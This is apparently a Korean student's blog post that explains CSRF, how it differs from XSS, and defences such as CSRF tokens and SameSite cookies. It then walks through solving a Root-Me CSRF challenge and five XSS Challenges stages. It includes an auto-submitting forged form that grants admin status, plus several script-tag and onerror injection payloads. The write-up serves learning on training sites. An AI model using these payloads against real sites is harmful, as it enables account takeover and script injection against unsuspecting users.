전재윤_ 2020. 5. 21. 23:13

Cross Site Request Forgery (CSRF)

비 정상적으로 사용자의 의도와 무관하게 다른 사이트에 HTTP 요청을 보내는 것

웹 브라우저는 기본적으로 Same-Origin-Policy(SOP)*에 위반되지 않은 모든 요청에 쿠키를 함께 전송

CSRF를 쓰려면 그 서버의 언어, 인자 값, 명령어 등을 알거나 추측하여함

CSRF 공격을 통해 해당 세션 쿠키를 가진 사람만 사용할 수 있는 기능을 요청할 수 있음

 

ex)

공격자에게 임의 금액을 송금하게 만들어 금전적 이득 얻기

사용자의 패스워드를 공격자가 임의로 설정한 값으로 변경 해 계정을 탈취

관리자 권한을 가진 사용자를 공격해 공지사항 작성해 혼란을 야기

 

*다른 오리진의 리소스를 요청하거나 상호작용 하는 것을 제한하는 웹 브라우저의 보안 정책

XSS와 CSRF의 차이점

 XSS의 발생지점

희생자 쪽 Client

 CSRF의 발생지점

희생자 쪽 내부 Web Server

XSS는 외부에 있는 해커의 서버에 취약점을 전달하는 것이고,

CSRF는 취약점을 제공하는 내부서버를 이용 form문 으로 클라이언트에 명령하는 것이다.

 

XSS는 이용자의 세션을 해커의 서버에 보내는 것이고

CSRF는 이용자의 세션을 이용하여 공격이 이루어지는 것이다.

공격 조건

  1. 해당 웹 사이트가 쿠키를 이용한 인증 방식을 사용해야 함

    • 모든 HTTP 전송엔 쿠키가 함께 전송되기 때문에 쿠키에 저장된 세션 아이디도 전송

  2. 공격자가 사전에 알 수 없는 파라미터가 존재해서는 안됨

    • 자동입력 방지 문자를 넣어야 하는 요청은 공격자가 미리 알 수 없음

    • 패스워드 변경 기능에서 기존 패스워드를 입력 받는 다면 이 또한 공격자가 미리 알 수 없음

Mitigation

서버 사이드에서 추가적인 검증을 통해 CSRF를 방어하는 방법

서버 코드에 검증 로직이 추가되는 방식이라 어쩔 수 없는 오버헤드가 발생

  1. 세션 쿠키 대신 커스텀 헤더를 사용하여 사용자 인증

    • 사용자 인증만을 위한 헤더를 추가합니다. (e.g. Authorization)

  2. 공격자가 예측할 수 없는 파라미터 추가 및 검증

    • Same Origin에서만 접근 가능한 데이터를 삽입

      • CSRF Token

    • CAPTCHA

    • 정상적인 사용자만 아는 기존의 값을 검증 (예: 현재 비밀번호)

CSRF 공격이 가능한 이유:

웹 브라우저가 크로스 사이트, 즉 다른 사이트로부터 시작된 요청에 쿠키를 함께 전송

 

웹 브라우저가 쿠키를 다른 사이트로 부터 시작된 요청에 삽입할지를 SameSite 쿠키 설정을 보고 결정

쿠키에는 key=value를 포함해 추가적인 설정 값도 함께 저장

기존 Domain, Expires, Path 등만 있었지만 새롭게 SameSite 옵션이 추가되었음

크로스 사이트에서 출발한 요청에 제한적으로 쿠키를 포함시키게 하는 옵션

총 3가지(Strict, Lax, Normal) 값을 설정 가능

아무것도 설정하지 않을시 Normal과 동일한 권한을 가짐

기본적으로 Strict는 모든 크로스 사이트에서 출발한 요청에 해당 쿠키를 삽입x

Lax는 Link, Prerender, Form GET을 제외한 요청에는 삽입하지 않고 Normal은 기존과 같이 모든 요청에 삽입

Normal 옵션은 기존과 동일하게 모든 요청에 쿠키를 삽입

크롬 브라우저는 2020년부터 개발자가 강제로 SameSite=None; Secure; 을 넣지 않는 이상 웹 브라우저는 모든 쿠키에 SameSite=Lax를 강제함

문제 풀이

1. CSRF - 0 protection

Register에서 아이디랑 비밀번호를 만들기 -id: AAAA, password: AAAA로 진행

 

다음과 같은 문구가 뜸

Registered successfully. Go there for log-in. An admin will update your status for a full access.

만든 id와 password를 입력하면

Your profile : Profile이 뜨고

Profile을 클릭하고 들어가면

Submit 버튼을 눌러보니

You're not an admin!

관리자가 아니란다.

Private에 숨겨져 있을 것 같아서 들어가 보니

관리자가 아니어서 못 보나 보다.

여기서 조작을 해서 관리자 권한을 얻어 profile을 업데이트하면 private를 볼 수 있을 것 같다.

 

먼저 profile의 중요 코드를 보자

...

<link rel="stylesheet" property="stylesheet" id="s" type="text/css" href="/template/s.css" media="all">

...
<form action="?action=profile" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="AAAA">
<input type="checkbox" name="status" disabled="">
<button type="submit">Submit</button>
</form>

 

http://blog.naver.com/PostView.nhn?blogId=suljang2&logNo=140201314643&parentCategoryNo=&categoryNo=15&viewDate=&isShowPopularPosts=true&from=search

 

i2sec 17기 웹해킹[CSRF 공격실습(관리자 글 수정, 삭제, 생성)]

CSRF에 대한 정의는 전 포스팅에서 썼으므로 생략하고 바로 실습 CSRF 공격 실습 1. 관리자 글 수...

blog.naver.com

https://developer.mozilla.org/ko/docs/Web/API/Document/getElementById

 

Document.getElementById()

Document.getElementById() 메서드는 주어진 문자열과 일치하는 id 속성을 가진 요소를 찾고, 이를 나타내는 Element 객체를 반환합니다. ID는 문서 내에서 유일해야 하기 때문에 특정 요소를 빠르게 찾을

developer.mozilla.org

힌트를 얻어서 코드를 작성해 보았다.

 

<form id="s" action="http://challenge01.root-me.org/web-client/ch22/index.php?action=profile" method="post" enctype="multipart/form-data">

//일어나는 주소, enctype 업로드시 필요한 부분임으로 넣어준다.
<input type="text" name="username" value="AAAA">

//실행되기 원하는 것, 자기가 등록한 id를 value값에 넣으면 된다.
<input type="checkbox" name="status" checked>

//checkbox를 활성화
<input type="submit" value="Submit request">

//제출해 주는 코드
</form>

<script>document.getElementById("s").submit()</script>

//예시의 <body>부분을 대신해줄 거다.

 

넣고 제출을 누른 후 private로 가면 flag를 얻을 수 있다.

Good job dude, flag is : 답 이라고 뜬다.

2. XSS Challenges

stage #1

Hint:   very simple...

힌트처럼 정말 쉽다.

 

<script> alert(document.domain); </script>

stage #2

Hint:   close the current tag and add SCRIPT tag...

SCRTPT 태그?? 이거 대소문자 필터링 문제군. 바로 달린다.

<SCrIPt>alert(document.domain); </sCRIpT>

입력하니 No results for your Query. Try again:가 뜬다. 대소문자 필터링 문제가 아닌가 보다.

 

말그대로 다른 태그를 사용해서 넣어보자

<img src="z" onerror="alert(document.domain);">

 No results for your Query. Try again:가 뜬다.

 

"><script>alert(document.domain);</script> 넣어보자... 된다. 문제가 뭘 바라고 만들었는지 모르겠다...

stage #3 

Hint:   The input in text box is properly escaped.

"><script>alert(document.domain);</script>를 그냥 넣어보자

We couldn't find any places called ""><script>alert(document.domain);</script> " in Japan.

그대로 출력되었다. 

개발자 도구를 이용하여 country 부분에 "><script>alert(document.domain);</script>를 넣어서 해보자

해결!!

stage #4

Hint:   invisible input field

힌트 대로 <input type="hidden" name="p3" value="hackme">라는 숨겨진 부분을 찾았다. value 부분에

"><script>alert(document.domain);</script>를 넣어서 진행해 보자

흠... 안된다. 왜지? 구글링 해보았다.

https://www.hahwul.com/2016/06/web-hacking-hiddenxss-xss-in-hidden.html

 

[WEB HACKING] HIDDEN:XSS - XSS in hidden field input(input -> hidden에서의 XSS)

[WEB HACKING] HIDDEN:XSS - XSS in hidden field input(input -> hidden에서의 XSS) #Hacking #XSS #Hidden

www.hahwul.com

value=""><img src="z" onerror="alert(document.domain)">"> 바로 달린다.

해결!!

stage #5

Hint:   length limited text box

바로 코드를 보자

<input type="text" name="p1" maxlength="15" size="30" value="">

길이 제한? 없애고 "><script>alert(document.domain);</script>넣어보자.

해결!!

 

<script>alert(document.domain);</script>를 넣으면 안된다. 처음에 없애는게 아닌 줄 알고

https://www.hahwul.com/2014/08/xss-short-xsscross-site-script-xss.html

 

[XSS] Short XSS(Cross site script) 공격구문 삽입부분이 작을때 XSS를 삽입하는 방법들

Security engineer, Rubyist, Gopher and... H4cker :)

www.hahwul.com

name: <script>alert(1)<!--
age: --></script>

모양을 만들기 위해

<input type="text" name="p1" maxlength="15" size="30" value="">

<input type="text" name="p1" maxlength="15" size="30" value="">

<input type="text" name="p1" maxlength="15" size="30" value="">

...

해서 넣어서 해봤는데 안되서 흠... 문제가 나빴다...